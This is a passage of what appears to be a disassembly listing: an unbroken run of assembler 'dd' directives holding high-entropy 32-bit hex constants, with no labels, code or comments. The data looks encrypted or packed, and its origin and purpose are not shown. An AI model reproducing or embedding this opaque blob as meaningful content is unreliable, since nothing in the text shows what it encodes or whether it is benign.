		dd 3963D147h, 0D467809h, 0C54A6C0Ch, 0FE01024Bh, 731E5663h
		dd 0E95FE03Fh, 136BFD5Dh, 0FDB914F7h, 0B759F9C6h, 2C5CC875h
		dd 0F4D83E5Ch, 6FE874ECh, 682A90F4h, 0E92CE415h, 50A739B2h
		dd 0ADA3205Ch, 8DD42D04h, 32FC5120h, 0EE392B58h, 3DC9246Eh
		dd 0FE6BD6DEh, 0B0D75AB0h, 96772BB7h, 0FEC28184h, 0F12023C3h
		dd 508953B4h, 25549CB1h, 10CDAF0Bh, 80D45AA2h, 62BF2B68h
		dd 0CD9CD74Fh, 8BE6549Fh, 31862A01h, 5195536Bh,	17CF2C83h
		dd 1902E180h, 0C0AA389Dh, 0FB599405h, 48E91876h, 0A2BB2CF1h
		dd 51854F05h, 0AC84DA31h, 4CAEA6FBh, 0C4680C66h, 4A7E8D2Bh
		dd 0DE66ECE0h, 9E4A6548h, 303E4E8h, 27AE5421h, 2AE89DA7h
		dd 0A8381DC4h, 175D9056h, 0BD5FA2E9h, 5EF10B6Eh, 524AE929h
		dd 0BDED9830h, 0C56953D3h, 0C99AA6FDh, 0D1948DD7h, 69D3F5h
		dd 0DA288075h, 0FF5BEEh, 251DA3BAh, 5D410237h, 7FF9CB55h
		dd 401E8779h, 0B186E0D1h, 0D877FAB1h, 2FC27047h, 8967B210h
		dd 5DEF2909h, 0E82CF7Ah, 0F8991B84h, 1473C4A0h,	15E85585h
		dd 48BDA24Eh, 5C648EEh,	3AD751DCh, 7E283780h, 29682D11h
		dd 63A29AF7h, 0FDC08C02h, 3BA974C1h, 0F398903Bh, 95BF4A13h
		dd 79E75800h, 5BC1ED81h, 327348ECh, 46208B06h, 0E0C1855h
		dd 0C18264Ah, 0C09EE7Eh, 0BD3E960h, 4B00B99Eh, 894ED056h
		dd 0BF4359CBh, 810FB05Ah, 6B6EC8C3h, 9B6A844Ch,	0B9C71BE9h
		dd 2A311248h, 0F2963D5h, 0D2541632h, 0CFEB811Dh, 7E36C03Bh
		dd 806A6A5h, 5E14811Ch,	0CC863829h, 0FE3B0AD5h,	0C172A5CDh
		dd 0A969286Eh, 0C0054A7Ah, 529BB98Bh, 9D08F52Ch, 0D228AB02h
		dd 8682412Ch, 0DD5D5E01h, 768E7C0Ah, 8EB0659Dh,	0BE172FC9h
		dd 307E54CAh, 0EE1DF3ABh, 0C772344Eh, 8D9C995h,	0E6850ABEh
		dd 3E36630h, 0DAFF6B5h,	0F3311EE0h, 1A24A3B2h, 5A271667h
		dd 420882B7h, 0AAD9F7DBh, 0D834F6C9h, 3801E281h, 0E964F158h
		dd 277AD7C4h, 0EFC82CBh, 0E58BC57Ch, 753EFFF3h,	4C4118DFh
		dd 0F70142C2h, 8036261h, 0C626D2E9h, 0F9D8A031h, 0B2D19D4Bh
		dd 2CD4586Bh, 0C0DA7C21h, 42F90307h, 810180B4h,	8D648BC9h
		dd 0C413F13Ah, 2D5C4615h, 982B252Bh, 17475DBh, 0CB813CF1h
		dd 3FBC6427h, 806E17A1h, 43DB3D55h, 0F3C30926h,	0A292E91Fh
		dd 0BC8B02A2h, 5B010358h, 80E7B353h, 0E531CAC3h, 6650A98h
		dd 0E09D28E4h, 0BA0718F7h, 0D5F25E09h, 73F4FA7Bh, 0D1715798h
		dd 5FB88A4Fh, 9F528F9h,	0D8D930A0h, 49C25D46h, 0BA96AD59h
		dd 6996BC9Ch, 3BF70AEEh, 0EB2194BFh, 6086FCBDh,	828A895h
		dd 4A3EDC20h, 15D84124h, 15F197FAh, 0AE8C107h, 44E509B2h
		dd 0BFEE0193h, 293CC846h, 46C6E1CEh, 880B1C08h,	0E17944Ah
		dd 0E3016D4Dh, 4B096B38h, 5F7956Eh, 37A30353h, 2E5BAE04h
		dd 9795E81Ch, 624E9EB4h, 2EFC547h, 32582356h, 416082D4h
		dd 383D0879h, 0DE869613h, 6C5AB345h, 5D54D032h,	53C2E559h
		dd 4F8F440Bh, 0F2ADD09Ch, 47094291h, 0D3D0096Ch, 31100DE3h
		dd 352460E1h, 6EE6052h,	93B5464h, 0FE5E791Ah, 902A4EFCh
		dd 5F2C9C1Eh, 41A14F5Eh, 0BD2B2ECCh, 2CC4FD52h,	49094E0Eh
		dd 14AD3C80h, 7E988251h, 0F1812D96h, 4C1C73CBh,	0E41E228Eh
		dd 0CA89B500h, 8ABCF2E9h, 75E06806h, 0C49A4FDDh, 55E9AA07h
		dd 8E854B9Fh, 1DAA91A0h, 5074847h, 11B76D67h, 8833F3h
		dd 0D366C673h, 0F001E7CBh, 1C94D4D0h, 7F2F9D1Fh, 0AFA2E4B4h
		dd 2503DBD7h, 0D4427F5Ch, 625707CFh, 0C4FDFDB7h, 40F88055h
		dd 95947CE8h, 24C5BCD8h, 0ED925541h, 5C2942CBh,	569A801h
		dd 126A26B4h, 0CB83E851h, 1993889h, 0DC886FD9h,	0E781A808h
		dd 1E514EB3h, 94F0A4ECh, 57A9658Eh, 10C6F890h, 800FC8C0h
		dd 0DDEBD6C1h, 9354B842h, 1E456805h, 0C5022099h, 0F0926401h
		dd 0CE884FB0h, 0A168019Bh, 5D5BF85Ch, 0D509E327h, 6A030271h
		dd 2C2C8FA3h, 45042D46h, 0FED873h, 9D2D9AA0h, 0C9F3F705h
		dd 20ACDDD0h, 407B4840h, 1B9AD50Dh, 382CB00Eh, 8B25A32h
		dd 0FCFE3EE2h, 4927F102h, 17085088h, 37C77CE9h,	0C5482A2h
		dd 0A4DCC755h, 0DEA25A78h, 0BA0A33B4h, 3734264Fh, 1EBE7D12h
		dd 8943F389h, 0DD5E0255h, 0DA807489h, 0F27D2040h, 0ACB25213h
		dd 0C056D402h, 51BD40E3h, 0AF3EB106h, 89008F3Ah, 4EFE4735h
		dd 0B312D31h, 0B53C8BE9h, 5F705E2Fh, 0A82FE541h, 79460530h
		dd 10BF4A11h, 966207C9h, 560D1C13h, 70444042h, 0FEF2B021h
		dd 44D94AFFh, 0B1A7FBh,	0EA3A952Dh, 9AF1F444h, 0EF585E50h
		dd 0E9174A2Ah, 0BA69C46Eh, 10FBDB95h, 4905D2A6h, 0C2230B19h
		dd 0B8C103C1h, 0C7373BE2h, 6BECA295h, 0CD814500h, 3FDD3A6Ch
		dd 4D5CF773h, 3C8309F0h, 0C53D007Eh, 5A40CCACh,	104491FEh
		dd 4C4E2367h, 6CAD160Ch, 314F4DA6h, 3AD921D8h, 0E6680342h
		dd 95E96620h, 0E989F351h, 2A9E2h, 0FDE14813h, 0C8013E11h
		dd 0FDDD5699h, 485F62D6h, 20492D4Ah, 0EA06C480h, 9C986Ah
		dd 3E0C46B1h, 505CCA81h, 0A172562Fh, 19AD7B4Fh,	60CEC430h
		dd 0EDF66FE2h, 161BA0Eh, 0F8216F0Ch, 0E8F2B71h,	24891669h
		dd 258AE87Fh, 65E2273Eh, 0EC291458h, 6B02D146h,	5D617D4Eh
		dd 8404CC6Ch, 4552E862h, 0D6E0B5EEh, 0E977F458h, 5904AA9Ch
		dd 8DAEDA87h, 5610A62Eh, 0EE0ED902h, 0A87DD1Eh,	39B34E29h
		dd 0A7DE38A5h, 18ABBEB7h, 4AB8666Ah, 129DB838h,	0B4083296h
		dd 41482D26h, 61482EDh,	5AA7DA4h, 6BEA0C20h, 0D18082EFh
		dd 35173C70h, 0CCC2B738h, 81AD0502h, 68AC4747h,	0DF7ADE85h
		dd 2F2DBF00h, 0EA61D827h, 0EE011C80h, 1F8D245h,	303A5E56h
		dd 436C601Ah, 82A04BE2h, 0E101C422h, 68F0059Fh,	0B742181Eh
		dd 5B07872Dh, 21242ADAh, 1CD8808h, 0C60452B9h, 9490405Ah
		dd 1B5E0664h, 19144DFDh, 68C087DAh, 29C647A9h, 0D3B78B78h
		dd 1F6CE963h, 1C3EC19Dh, 2416AF4h, 45EDF581h, 0A84057ACh
		dd 9D4B3EE4h, 26EBB780h, 24326086h, 30310443h, 64FFB4A0h
		dd 0AE6B5027h, 14D76085h, 17936141h, 0D02931E9h, 0C1775121h
		dd 0DD016D1Ah, 90080952h, 0B9C0EA16h, 1A20219h,	3DE2C64h
		dd 7186E181h, 0B7E310F6h, 2395E980h, 411512EEh,	141B18C1h
		dd 5751F85Dh, 2FAAC1D9h, 8A5F19B6h, 441D1456h, 1409DE8Fh
		dd 37FF2252h, 15AF32h, 7CE50748h, 0C059B85Bh, 30641FE4h
		dd 25FFE939h, 0DCB1FB75h, 0E431780Ch, 0C618B7BEh, 0ECFFEDB6h
		dd 4155D5E1h, 4578EA5Eh, 42012DEAh, 0A7D42F09h,	3312123Eh
		dd 7C17D1Fh, 0E7E910F1h, 94416878h, 7B4D57F8h, 504F201Ah
		dd 20EFCAA3h, 2EB8281Bh, 825E30FAh, 363F720h, 8F390F7Ch
		dd 65A3842h, 0C4C60A09h, 2C7593Fh, 0EE612830h, 0C29AF656h
		dd 0E9012E8Eh, 7DC26216h, 0A60A5F1h, 25139452h,	847EC509h
		dd 0A9C8D631h, 2D31E7F4h
		dd 0DE5EF5h, 0F8110FBEh, 0EE143E2Bh, 0BA5D0007h, 59F34219h
		dd 3AFAB531h, 3B6F681Ch, 0CDB84B38h, 0B87DE9A8h, 82F18DA9h
		dd 5524071Ah, 26A0811Dh, 4EDF0A2Ah, 0B924EF59h,	93620BFBh
		dd 0C9644A8Fh, 75CFEA5Eh, 4604F858h, 0EF41D169h, 804E9A1h
		dd 0E9C5A8E8h, 0AA4B95CAh, 0AE3E2DB6h, 22BF05C0h, 85D52D18h
		dd 79046AEDh, 71FB133Ch, 7C0A0h, 165D34B9h, 0A6292AF2h
		dd 7805028Dh, 0F81E6C46h, 41C0905Ah, 52A13F86h,	408E5760h
		dd 49985B97h, 2C975F54h, 0AC04852Ch, 0CF0AF016h, 78AFA221h
		dd 0EB73BD58h, 71802917h, 9AF458E9h, 6AA309B0h,	0A906E9Fh
		dd 78E1745Dh, 0EDFFB34Eh, 0D39FF2FAh, 0E09FBBF9h, 0B2C4D95Eh
		dd 96BBB3EBh, 25E9552Ch, 61A17BBFh, 703E4085h, 89B5F8AAh
		dd 529251B3h, 0C3161C7Dh, 254E99Fh, 4A5A5F76h, 75589509h
		dd 5B0B1BE5h, 73D75E87h, 50425CF1h, 0FEECD0C3h,	752ECC7Ah
		dd 0ED42D0DCh, 0B45794B6h, 4C80D21Bh, 71B92F7Bh, 0D94058B8h
		dd 50FD5821h, 768C2Dh, 6815E12h, 3F781DBDh, 0F259C816h
		dd 86995019h, 0DB6F3AFEh, 5A8CD22Ah, 77A2DE9h, 0C70B0CFAh
		dd 404B8165h, 259A3CB1h, 532BB47Eh, 0D9AC6D76h,	7ECC870Ch
		dd 0EE670B5h, 805966EEh, 6BE36589h, 0D9ECDE82h,	5616816h
		dd 4FC39DFCh, 0AA27EE28h, 5698608Bh, 0A8207F68h, 0C0C301B6h
		dd 0B6E0EEC1h, 0DA975CFEh, 38D986Eh, 0E90C746Ah, 0BA84D8ADh
		dd 16D3E7A3h, 0E961A412h, 6CC99272h, 4EA8C659h,	5C268050h
		dd 813935FAh, 0D11909CEh, 402F5E69h, 3E4C2077h,	0E0D0294Ah
		dd 5FC921FDh, 0B240BB3Ah, 1E768E0Ah, 20BA9089h,	0FCBD6970h
		dd 0C89B08C6h, 5CE3AF3Fh, 38D502A7h, 85552BBh, 0DD00F8A1h
		dd 0D1634749h, 4E80B7E7h, 21182215h, 36E3E92Eh,	20866885h
		dd 0E74D934Ch, 3B230FB9h, 9E4B6C06h, 789D1FF0h,	64C338F2h
		dd 1E37B05Bh, 3166CD40h, 4354B050h, 0FE0204CEh,	0E80A1874h
		dd 7F699B97h, 0B96EE3B7h, 0F3027C47h, 399EF4D7h, 2D50D089h
		dd 92791B74h, 896AE088h, 0FAD9D69Fh, 9B0FDD28h,	33416840h
		dd 9D7A67D9h, 96064FDh,	9321DD49h, 3F4A9108h, 811EBA5Fh
		dd 9EAF192h, 32FD5C71h,	42A1F150h, 567CD3E9h, 65112F3Eh
		dd 252C01A1h, 57C7CFE9h, 19E0875Bh, 0D9A000FCh,	476B3B00h
		dd 0E581456Dh, 1F791251h, 37490121h, 70C20807h,	659A5D81h
		dd 644E51ECh, 5455E249h, 0BED5CE91h, 0FEDF3114h, 74793905h
		dd 0E580605h, 0DF8B8DC9h, 7D0BC0BAh, 54571C10h,	4CBC89F8h
		dd 32F4B901h, 0CCE8281Eh, 5485C4B2h, 3860805Eh,	64A983Eh
		dd 0D0084ABh, 6E1533E7h, 0CB682ED1h, 771D72B9h,	0AEF0D33Ch
		dd 0DCFBED56h, 0B2BE6EEEh, 0BC61B913h, 44FC2F67h, 73CD4C29h
		dd 9B590840h, 33AFA2C5h, 55A75A6Fh, 0F14EDFBBh,	4B3F8051h
		dd 856800D0h, 4598971Bh, 28482629h, 0CE4B72EDh,	0BA48C6E3h
		dd 22CA110h, 0D1F65DB1h, 2BC15FFEh, 7E11F9B9h, 0DF5A3F0Eh
		dd 97D45AADh, 845D98C2h, 96C95D3Eh, 6497B442h, 4A2FEED1h
		dd 0C164AAE0h, 846FF783h, 5576A7ABh, 0EAF7304Ch, 2CBA20D7h
		dd 0EB4BCD5Ah, 0AB4A77B7h, 0C93F0281h, 8177A37Eh, 6802C683h
		dd 8A6E79C9h, 6E918B9h,	12C8BBD9h, 0FC1A3C0Fh, 0B56104DDh
		dd 3D84CFC0h, 0D1E22CEBh, 79E9EF0Bh, 628F7C7Ch,	8100780Bh
		dd 32304FE6h, 9B163507h, 0EAA0DCC7h, 0E80A8F2Fh, 0BD204AF6h
		dd 0F5AD654Fh, 68139694h, 0F1D95F45h, 8CC6613Fh, 84CE2E73h
		dd 0C2D1FC5Bh, 48A6E9DFh, 3CD4F68Ch, 7692E686h,	11F6AFFDh
		dd 5EE06825h, 8727D6F7h, 6187CF2h, 0C791F48h, 6AA9A809h
		dd 5389314Ch, 441EB06Ch, 0EFE9044Dh, 2FECED99h,	0AE2D8003h
		dd 0F23CF2Ch, 4A8BEA81h, 0E2C0678Eh, 2A2147C3h,	81FE509Fh
		dd 5000D95h, 1B1C18B0h,	0EBAF5D2Dh, 0A7FDDD9Dh,	703A5B4Ch
		dd 0F0273997h, 1F5BBB6Ah, 0A8D461EDh, 12E0DC84h, 0CE07F0FCh
		dd 69451544h, 0BD955A5Dh, 800BDB70h, 843D7467h,	59046478h
		dd 46618255h, 0F9BB61C8h, 51B0F1F0h, 7F30EB04h,	97C34750h
		dd 0F62001CEh, 34C8FED8h, 0D8D0D96Ah, 0A40E04C0h, 17D541E9h
		dd 92B0DDEBh, 0BFBD54A2h, 0EF4A0C94h, 0A5002129h, 3D9839AAh
		dd 5189BD62h, 4756AB7Fh, 0D0E95302h, 6D94C838h,	0E87BE15Eh
		dd 0BCE9E01Ch, 45169553h, 0AFACCAB3h, 9046A20Bh, 3B50ECA7h
		dd 0C903125Bh, 44F8361Dh, 0E6BC80E5h, 0C99830D9h, 0D4606341h
		dd 4BA06204h, 0E1FF58C2h, 0A06B1717h, 1DD3EB3Eh, 0E3687442h
		dd 0C941D437h, 8BDFC5F5h, 71E2A4E9h, 4B147875h,	65C51Dh
		dd 402BEBE4h, 0F2985233h, 9C117816h, 4D1A0A04h,	0B85ECBA7h
		dd 0D2B21083h, 0C776592Fh, 72BE9424h, 7BBBE1E7h, 0C888DF31h
		dd 3F1A5E37h, 2B640A45h, 90E57509h, 270CDC32h, 88AF8E0h
		dd 0D61C6624h, 40A98710h, 10183990h, 0DA013E16h, 4D089C00h
		dd 164F55A0h, 0A8815AE9h, 1518B16h, 0E07DEACDh,	0BA27BF41h
		dd 9D15796h, 1EB3B585h,	0A5D05CAh, 0D9A733AAh, 8C5CE95Dh
		dd 0B57EB7D1h, 0B261DA97h, 70982B85h, 205241C9h, 0F4412680h
		dd 0E5D4ED7Bh, 2FC6582h, 655CD828h, 80D3B163h, 4AEAE9C8h
		dd 1B6F4232h, 0F78B9467h, 2544805Dh, 9FEFC114h,	0E935B5Eh
		dd 889728FBh, 5731445Ah, 0CB2B0255h, 0F84C7865h, 15C30FB2h
		dd 7572692Ah, 2F08F3A8h, 0E941F47Ch, 6DACCD6Bh,	794A01B2h
		dd 21F90160h, 0D10812D4h, 6E1683D5h, 0F72F02C6h, 0F357DBF4h
		dd 1DC541h, 0CF03EEC1h,	0D6640806h, 0FFCABE0Fh,	81605E7Ch
		dd 0CA5A589Dh, 0B7815AF9h, 60C18020h, 0ED7F9C1h, 0AE2C5B2Ch
		dd 93962AA4h, 8E7E3092h, 94B74074h, 30BE20EDh, 707CC0C1h
		dd 0EE3C1873h, 0D3CA8107h, 0C0724522h, 0DC4482AAh, 2AE97640h
		dd 27B433DAh, 0F6197D42h, 0E88B7AEFh, 82D75D27h, 0DDEE5C60h
		dd 0D895B4CCh, 0E6525819h, 0A80693DDh, 0BC47C5C2h, 293AF129h
		dd 0AFBC3AB9h, 0D731E9ACh, 0C248FF27h, 0EEC08CA5h, 3924CFF1h
		dd 340CDD4Eh, 0FA511AF3h, 0AAEB95B1h, 1E472816h, 0ED3530BEh
		dd 0F37B6395h, 0C507E19Fh, 1C1C0846h, 0A47C7A9Ah, 2BCD0131h
		dd 0F4644329h, 1F01C2F5h, 0EE09390Dh, 177BAAE9h, 39CBAAF3h
		dd 0D912F548h, 1EE53551h, 7716FE8Ch, 0E041EA63h, 5CF83A07h
		dd 49ECE7D9h, 0E9781752h, 3B40BD0Ah, 89C6ADDAh,	36C6F416h
		dd 4758F8D2h, 21801691h, 575341FAh, 3EE169F2h, 3A802184h
		dd 4BFA07B5h, 0A579AC4Dh, 8925C0FFh, 0A59EC66h,	0C6FF8D60h
		dd 0DDA2802Fh, 10395B0Eh, 0BDC04AE9h, 31329EB9h, 86866DBCh
		dd 31BAD0B3h, 559CB01h,	42B25614h, 3E14157Ch, 193C3E7h
		dd 0C8061E47h, 38F8F55Bh, 380137AAh, 0FA86CE82h, 272F3B2Ah
		dd 60D218Eh, 2D084860h,	32DB7D7h, 9DC158F8h, 0C48211D6h
		dd 61137192h, 0BE00B76Bh, 385C8DD5h, 0F0BD1872h, 24295866h
		dd 12665FFAh, 0D2F05DB4h, 0A975B851h, 0BFA0023Fh, 41DFA348h
		dd 206FE641h, 0A446308Dh, 0D5A07B4Fh, 885504AEh, 0FE5D4E68h
		dd 3D208352h, 0C6F51C1h, 53581295h, 0C3B833Ch, 2689CA2Bh
		dd 0BF30D161h, 0EF801D08h, 58B6C2FFh, 0E677F728h, 40E99096h
		dd 0F4BF64B8h, 3632424Fh, 0B508F9D1h, 0DDD427C0h, 0FA025112h
		dd 4041B74Eh, 2476C916h, 7719C02h, 36690EF1h, 0E8500C37h
		dd 314F12C8h, 8B6A71E5h, 364493A0h, 311EDE6Fh, 6F5E6889h
		dd 9A812C37h, 71FA931Bh, 99FA09Dh, 4F2D0C18h, 761D2FDFh
		dd 8858EFE8h, 91482604h
		dd 580EEC42h, 0A0C54FA0h, 0ABB18CF8h, 778C2B91h, 0CC72D68h
		dd 2B22EBC6h, 6EC22D87h, 7EEA0C07h, 0F7FB9913h,	261A0F4Ch
		dd 75526591h, 3C4E8C16h, 20FB0817h, 493AE26Ah, 0D16FAE17h
		dd 1FFC9B80h, 0A5274A17h, 78EE2A17h, 492FE96Bh,	8194EAFEh
		dd 200709EAh, 0DE68FDC2h, 4A3EADE5h, 0BD0C6063h, 4C43C615h
		dd 0EA065845h, 0C063F7Ah, 0F2A4C45h, 2869686Ah,	50793E44h
		dd 0FFD365ABh, 9C750987h, 59E92C4Ch, 0C2888EDFh, 0FD26D54Fh
		dd 0D258FDE6h, 588D2743h, 4F53FAA0h, 6BC2DD2Ah,	0D669D6A9h
		dd 0EDC0DBD3h, 4EA21F77h, 0A6E0529h, 0D795E3E6h, 0B22B61E4h
		dd 5932C958h, 0BA8C67Fh, 0E292E9F5h, 57220B46h,	0B3D32F6Dh
		dd 1450E37Ch, 603CBE02h, 338E10F6h, 0F70D4809h,	80528E5Ah
		dd 2ADC05D0h, 2D7A02EBh, 0E7F85B06h, 0E96F825Dh, 1D6ED4F2h
		dd 0B5829250h, 2775FAC4h, 0DACE578Dh, 7ACEF789h, 0D7EB682Ah
		dd 0DDAEE92Dh, 45D74A89h, 2528AA4Fh, 235CF068h,	21E1D6Ah
		dd 7038CF49h, 487F0B77h, 0ED8B521Fh, 0C304C7D2h, 676C39A6h
		dd 7B58E0D1h, 2199716Fh, 0A4F538E8h, 0F591D1EFh, 902808BFh
		dd 7510E81Bh, 1752BDDFh, 0C585F3Eh, 0D3487268h,	46474F9Dh
		dd 8DBE5975h, 9679C538h, 4BF0A62h, 0E494F932h, 0A9980558h
		dd 86F88B0Bh, 2B0BDFF4h, 7FE0FF01h, 4728604Ch, 3E6800FFh
		dd 70E29402h, 152CB9C2h, 203BD5F6h, 89BE0B16h, 7E831341h
		dd 0C2005EF2h, 0BF37188h, 27E9FA31h, 3871D4E6h,	79C62A42h
		dd 3B273CB9h, 0B44C0FF1h, 0CA38053Ch, 0FC37E965h, 315E0960h
		dd 592576F5h, 0B9942B1Eh, 6023BBB0h, 7B66D5ADh,	80954D1Bh
		dd 0E4849EB8h, 0E88906B2h, 36D3F7E9h, 2D5703A1h, 15C88485h
		dd 1B7D8914h, 0E8380748h, 599DB4EEh, 0D76842C5h, 0B95B98FDh
		dd 484BB0A5h, 0E202221Ch, 1457226h, 880A6D0h, 7E246859h
		dd 586B992Bh, 0F460E72Ah, 0BE2D80A3h, 4C982112h, 705350Ah
		dd 8FC527h, 7290BB53h, 0D5A0289Eh, 5E81F3AAh, 2F66Fh, 4644C3EEh
		dd 0F1C6011Fh, 0D3088BCAh, 5AEF0831h, 0B21BB705h, 5BFAB4C0h
		dd 0A5F2A68h, 5C49859h,	308FB049h, 1959C1F8h, 78CF3361h
		dd 5609444Bh, 6A5A5D66h, 95BCFA20h, 98E014A2h, 0E4C25104h
		dd 82D5DA46h, 25A976B6h, 8502A4DEh, 557D7343h, 13C90168h
		dd 7898182Dh, 0FB017E56h, 0B2E5B161h, 0D24D87Ah, 3BB97240h
		dd 33AD2A30h, 1C5225Dh,	49C6F554h, 0EAE91180h, 3925EE49h
		dd 1D45662h, 4A129ABEh,	0A247462Ch, 39B13F10h, 126DBE89h
		dd 511CE9C3h, 28D42BB8h, 0CB93C1BFh, 1BAD3FDEh,	45DDFF9Eh
		dd 0F328AE4Bh, 4C565E2Ah, 0BF29DC45h, 8C179A09h, 4B05C3Eh
		dd 22C422Eh, 160C468h, 2E4A43E9h, 7D6ADCDDh, 8B64AF01h
		dd 0D3AEE282h, 0F698EF7h, 1E98EA12h, 1F5EB714h,	0B59DEF58h
		dd 0DC5FB74Ch, 80B447A8h, 482E364Eh, 0C96CE90h,	0A1295F14h
		dd 58002D82h, 669D5453h, 4F0CFC31h, 0FDAF90C0h,	0F65D5166h
		dd 625D274Fh, 5820606Ch, 0EF81809Ch, 0BB6DC600h, 0FE295906h
		dd 924E485Fh, 51172E3Eh, 5CDBD87h, 3FDD68D0h, 0D1005AE3h
		dd 0E96A2E34h, 83FBD6h,	0FD613CC8h, 9EC8BD2Bh, 0E9D4020Bh
		dd 16A2B13h, 450B326Dh,	7877DACBh, 0C27AEF30h, 277ECCABh
		dd 8E24BB03h, 0ACA4FF3Bh, 78EE98D5h, 0D905C04h,	981F534Fh
		dd 7E224E71h, 4BD98E3Ah, 88D6575Ch, 207D0BB7h, 0BF051C93h
		dd 52F7642Eh, 0A849300h, 9731EA30h, 81203255h, 3860BF76h
		dd 4FEEFF20h, 337ECCDEh, 2B419941h, 0C805978Fh,	0BA41F6BFh
		dd 1C083BCCh, 6E42371Ah, 1F16038Ch, 0E0221C7h, 0C3F42BC2h
		dd 0E3A05F0Bh, 267374EBh, 82126E6Dh, 0A4680800h, 207E923Bh
		dd 5A5C2509h, 5A2F22DAh, 71EA12B4h, 2347DF77h, 96848F0h
		dd 8540B151h, 6FE774C5h, 0B1F4375Bh, 0C59055C2h, 3B406A31h
		dd 0E7A12F0Dh, 77E09D09h, 0E9C0BFD5h, 1257F999h, 0EFD64A29h
		dd 99EB0053h, 78A56092h, 2AD1ED83h, 0CA7AD6F7h,	2F9858FEh
		dd 0BA578087h, 6B8333C6h, 20DE5C1Dh, 267FCC5Ah,	162B9A2Dh
		dd 6D10EE21h, 53BC4B07h, 2291EEA4h, 0FE10A56Ah,	46E480C6h
		dd 9B6E9EF6h, 0E392C417h, 0BE48F4E3h, 367F784h,	3B94ED80h
		dd 0F51F5406h, 0E02D9701h, 685052C3h, 5126CCC2h, 9440C55Ah
		dd 110C9D1Dh, 16BEABE9h, 0D6B81452h, 48E55ECFh,	8626AF33h
		dd 0D0011D9Ch, 10057CEEh, 0D8D66851h, 0B409B6F3h, 0FCE79AE9h
		dd 0F29F56A7h, 0D2983182h, 0DFDE2018h, 3BE8E882h, 350507E0h
		dd 689E6B8Fh, 0E2059EA8h, 0AE491B13h, 919F9105h, 0E6D76DE9h
		dd 32B8D6EFh, 25E31760h, 7C7B0829h, 71DFBB25h, 0E955CCA3h
		dd 64B94D27h, 0D1882F74h, 0CB3B5378h, 0E9D98551h, 0C1D9CCAFh
		dd 0B83AD7D9h, 0C8FCB54Bh, 2E5D0589h, 60B3AFC6h, 7D2D5A79h
		dd 4DB05D13h, 0EBBD5500h, 455E9316h, 33F22BE3h,	0F4B23E04h
		dd 2FA8B1CAh, 52023ACBh, 4916F91Fh, 1DFC8440h, 4B310939h
		dd 40216AB0h, 0DA39F7C6h, 711CAF52h, 0F87C097Bh, 0C88C71C7h
		dd 0B055D8B8h, 1338B283h, 0E804EAC1h, 17201D44h, 3A3C13BFh
		dd 0F90BB41h, 28306EFDh, 0C015057Ch, 0BC05E960h, 82E84F67h
		dd 0F940962Dh, 5609BF57h, 220978h, 4C450CF9h, 0FB292030h
		dd 0AE973A26h, 0A002BE50h, 80D2234Fh, 832F6866h, 24257547h
		dd 0F68AE016h, 0DF0CD81Ah, 95464008h, 59C80008h, 0C328AF04h
		dd 0EB378058h, 1D5F0C88h, 57440672h, 0E98521F9h, 9F98115Bh
		dd 46E45820h, 0C7487984h, 0D2D0E730h, 0D4485F2Ch, 0CAF00AF5h
		dd 12BA8D49h, 60AF3089h, 113DA360h, 0D55A4125h,	43F5B54Ah
		dd 1395F187h, 0D003955h, 298844CEh, 0B005A3BBh,	0B64AE9EBh
		dd 0FB6097Eh, 28D4265Dh, 492C04E6h, 0BE4E6DE9h,	0F0683020h
		dd 0BD1DBB04h, 4E78DB15h, 9EB1E93Ch, 0E04CC2C7h, 5381F017h
		dd 2F7363F4h, 0AF80544Bh, 0DC465648h, 0D055E927h, 0BA660A98h
		dd 6C7458Eh, 0A505AD6h,	0C106F065h, 0B1CB182h, 4FE52C0Eh
		dd 785FAEF7h, 3C57E396h, 89FECADh, 54171127h, 0BCD29CABh
		dd 8E912E30h, 131DB8F6h, 1C461C5Ch, 445CFAF6h, 32CCF80Fh
		dd 43381CD2h, 4F3C0530h, 2E73CFE8h, 0A002012Dh,	55578F91h
		dd 0E910C53Bh, 0E7952389h, 3AF829B9h, 0A66901F7h, 0ED59A82h
		dd 0EA141EFCh, 535B0208h, 0DF33B0E9h, 215CC9B9h, 3CEC3E8Fh
		dd 0D3E6AEF4h, 0AF30564Fh, 3CB3DC13h, 0EE5A5485h, 0E95E5ACFh
		dd 0E687CBDAh, 275B34E1h, 15CF056Bh, 0B22B4493h, 0C99C8072h
		dd 532CD9F6h, 0F01638B7h, 0B45F7C8Ch, 7C355950h, 0F65C2FE1h
		dd 802D188h, 3AA59966h,	0C695B620h, 69C0F67Eh, 677516DAh
		dd 1B100991h, 0F19A6030h, 8AB451B7h, 9759691Ch,	1BF50559h
		dd 680A20B0h, 73BD4950h, 11E90449h, 0CB75AECEh,	1247A2AAh
		dd 66FAFC88h, 4D012A88h, 0C13EF67Bh, 732008E6h,	0E9EBB426h
		dd 682668DFh, 35774E43h, 0CDC10908h, 963D95Dh, 52562281h
		dd 20145AD2h, 5976BF01h, 221EED4Eh, 121D9842h, 235400Ah
		dd 383244Ch, 0CA520827h, 69C1310Dh, 4A0BE92Fh, 0C623BCBh
		dd 0C6DD62E9h, 98A5807Dh, 98ACD0F7h, 0B6DE1F12h, 79127028h
		dd 60BD6F60h, 1C810841h, 75641B14h, 290E815Eh, 128316Bh
		dd 82A40F7h, 0C13278FFh, 695E9696h, 0D3EA960Fh,	0F9637191h
		dd 458F7A1h, 910D4E68h,	48BD3D47h, 251367E3h, 18005046h
		dd 37C4716Bh, 0E9F10E31h, 0BB133C44h, 277EAFCAh, 46511BFAh
		dd 30667982h
		dd 0FBA48313h, 0F51D02F8h, 25AF565Ch, 7EE1CF8Fh, 60452ED4h
		dd 0A926C6E2h, 409FC27h, 0C9EBDC7Bh, 0D4088086h, 678E91Dh
		dd 5187A36Eh, 0ABCF3EC5h, 132E04F9h, 9B410012h,	9778C35h
		dd 0A8C2DCBDh, 2D189E1Bh, 530EC374h, 0EBC062B3h, 16CC103h
		dd 7E3D8h, 5250CBFEh, 0F4887DB6h, 7F25A48h, 0F0C9808Eh
		dd 8234C133h, 0B02340CCh, 2469F93h, 0B536BA20h,	5C3AA6D4h
		dd 13F15BD6h, 45B9377Ah, 0FC8CBFDCh, 9569F452h,	0F8C3D320h
		dd 0A917138Ch, 0D0AFDE31h, 5E2C68C4h, 0C982D1B7h, 0DE17247Eh
		dd 5794E6C5h, 89878BABh, 97257898h, 0BA891ECFh,	42ED9BBh
		dd 0AA071C68h, 0EA4FFA3Ah, 40C76509h, 5B17686Ah, 0F55FFC08h
		dd 49D282A8h, 9154C57Dh, 8BA56123h, 0AF967DFBh,	76E39927h
		dd 0D921626Dh, 0E9586276h, 955670EEh, 5CB61DCh,	24EE29B2h
